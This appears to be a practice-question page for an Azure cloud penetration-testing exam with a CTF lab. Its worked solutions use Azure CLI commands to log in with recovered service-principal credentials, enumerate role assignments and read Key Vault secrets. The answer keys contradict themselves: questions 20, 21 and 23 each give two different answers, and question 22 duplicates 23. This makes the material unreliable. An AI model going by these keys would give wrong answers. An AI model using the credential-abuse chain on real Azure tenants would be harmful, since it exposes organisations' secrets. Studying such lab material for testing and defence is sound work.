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| Section | Objectives |
|---|---|
| Topic 1: Compute & Network Exploitation in Azure | - VM exploitation and lateral movement - Network misconfiguration exploitation (NSG / routing) |
| Topic 2: Azure Cloud Attack Surface Enumeration | - Azure resource discovery and recon - Identity and access enumeration (Azure AD / Entra ID) |
| Topic 3: Azure Storage & Data Exposure | - Sensitive data extraction from storage services - Blob storage misconfiguration exploitation |
| Topic 4: Azure Identity & Authentication Exploitation | - Privilege escalation via misconfigured roles - Token / credential abuse scenarios |
| Topic 5: Real-world Azure Attack Chains (CTF Scenario) | - Flag/goal-based task completion in live environment - Multi-step exploitation chain from initial access to privilege escalation |
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NEW QUESTION # 20
During network reconnaissance of an Azure VM, you inspect its Network Security Group. Which inbound rule creates the highest risk?
Answer: C
Explanation:
Detailed Solution:
List NSG rules:
az network nsg rule list \
--resource-group rg-prod-apps-eastus \
--nsg-name nsg-prod-linux01 \
--output table
Expected risky rule:
Name Priority Direction Access Protocol Source DestinationPortRange
------------ -------- --------- ------ -------- ------------ -------------------- Allow-SSH 100 Inbound Allow Tcp Internet 22 SSH exposed directly to the Internet is risky because it increases brute-force, credential-stuffing, and remote exploitation exposure. In a hardened Azure environment, SSH should typically be restricted through VPN, Bastion, JIT access, or trusted administrative IP ranges.
Correct answer:
B). Allow TCP 22 from Internet
NEW QUESTION # 21
A virtual machine has a system-assigned managed identity. From the VM shell, which Azure CLI command authenticates using that identity?
Answer: A
Explanation:
Detailed Solution:
On an Azure VM with a system-assigned managed identity, run:
az login --identity
Then verify:
az account show
For a user-assigned managed identity, specify the client ID:
az login --identity --client-id < client-id >
Microsoft's Azure CLI documentation confirms az login --identity for system-assigned managed identities and --client-id, --object-id, or --resource-id for user-assigned identities.
Correct answer:
B). az login --identity
NEW QUESTION # 22
Using the previously retrieved credentials, authenticate as the App Registration within the tenant and enumerate potential lateral movement vectors. Which of the following roles is assigned to the App Registration?
Answer: C
NEW QUESTION # 23
Using the previously retrieved credentials, authenticate as the App Registration within the tenant and enumerate potential lateral movement vectors. Which of the following roles is assigned to the App Registration?
Answer: C
Explanation:
Detailed Solution:
Use the app registration credentials recovered from blob storage.
az login --service-principal \
-u ' < client-id > ' \
-p ' < client-secret > ' \
--tenant f015f36d-c07f-41fb-9bde-fffc3a22ee8b
Confirm that you are authenticated as a service principal:
az account show
Now enumerate role assignments for the app registration.
az role assignment list \
--assignee ' < client-id > ' \
--all \
--output table
If the --assignee lookup fails, first resolve the service principal object ID:
az ad sp show \
--id ' < client-id > ' \
--query id \
--output tsv
Then query role assignments by object ID:
SP_OBJECT_ID=$(az ad sp show --id ' < client-id > ' --query id -o tsv)
az role assignment list \
--assignee " $SP_OBJECT_ID " \
--all \
--output table
The assigned role is:
Key Vault Secrets User
This role allows the principal to read secret values from Azure Key Vault. That is the lateral movement path into the final flag.
Final answer:
A). Key Vault Secrets User
NEW QUESTION # 24
A managed identity has Key Vault Secrets User access to kv-finance-prod. Enumerate secrets and retrieve the hidden flag.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
Flag{managed_identity_can_read_keyvault_secrets}
Detailed Solution:
List Key Vaults:
az keyvault list --output table
List secrets:
az keyvault secret list \
--vault-name kv-finance-prod \
--output table
Expected output:
Name Enabled
---------------- --------
db-password True
api-token True
internal-flag True
Retrieve the flag secret:
az keyvault secret show \
--vault-name kv-finance-prod \
--name internal-flag \
--query value \
--output tsv
Expected value:
Flag{managed_identity_can_read_keyvault_secrets}
Azure Key Vault can use Azure RBAC for secrets, keys, and certificates, including data-plane secret access.
NEW QUESTION # 25
......
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